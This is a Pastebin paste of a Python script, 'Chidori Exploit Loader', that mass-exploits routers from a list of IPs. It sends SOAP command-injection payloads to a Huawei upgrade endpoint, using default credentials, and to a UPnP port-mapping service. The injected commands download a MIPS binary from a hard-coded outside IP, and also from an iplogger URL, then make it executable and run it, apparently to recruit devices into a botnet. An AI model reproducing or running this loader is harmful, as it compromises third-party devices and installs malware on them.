Advertisement
mysql_Anarchy

[ PYTHON ] Chidori Exploit Loader

Jun 3rd, 2018
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.66 KB | None | 0 0
  1. #! python !#
  2. import sys, os, re
  3. from threading import Thread
  4. from time import sleep
  5. import requests
  6. from requests.auth import HTTPDigestAuth
  7. from decimal import *
  8.  
  9. ips = open(sys.argv[1], "r").readlines()
  10. motherthreads = int(sys.argv[2]) #2-1000
  11. motherthread_count = len(ips) / motherthreads
  12. motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)]
  13.  
  14. cmd = "cd /tmp;/bin/busybox wget -g 45.119.209.30 -l /tmp/MIPS -r /MIPS; chmod 777 /tmp/MIPS; ./tmp/MIPS"
  15. payload2 = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
  16.  
  17. p = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;wget http://iplogger.co/2qWq45 -O- >ZIPS`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  18. pp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /var/ZIPS`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  19. ppp = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var;./ZIPS S &`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
  20.  
  21. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  22.  
  23. def dump(count):
  24.     count = int(count)
  25.     for i in motherthread_chunks[count]:
  26.         try:
  27.             url = "http://"+i+":37215/ctrlt/DeviceUpgrade_1"
  28.             url2 = "http://"+i+":52869/picsdesc.xml"
  29.             url = re.sub('\n', '', url)
  30.             url2 = re.sub('\n', '', url2)
  31.             requests.post(url, timeout=8, data=payload2, auth=HTTPDigestAuth('dslf-config', 'admin'))
  32.             requests.post(url2, timeout=8, headers=headerlist, data=p)
  33.             requests.post(url2, timeout=8, headers=headerlist, data=pp)
  34.             requests.post(url2, timeout=5, headers=headerlist, data=ppp)
  35.             print "PAYLOAD SENT %s"%(url)
  36.             motherthread_chunks[count] = motherthread_chunks[count].remove(i)
  37.             time.sleep(0.001)
  38.         except:
  39.             pass
  40.  
  41. for x in xrange(motherthreads):
  42.     try:
  43.         thread = Thread(target=dump, args=(x,))
  44.         thread.start()
  45.     except KeyboardInterrupt:
  46.         sys.exit("STOPPING!")
  47.     except:
  48.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement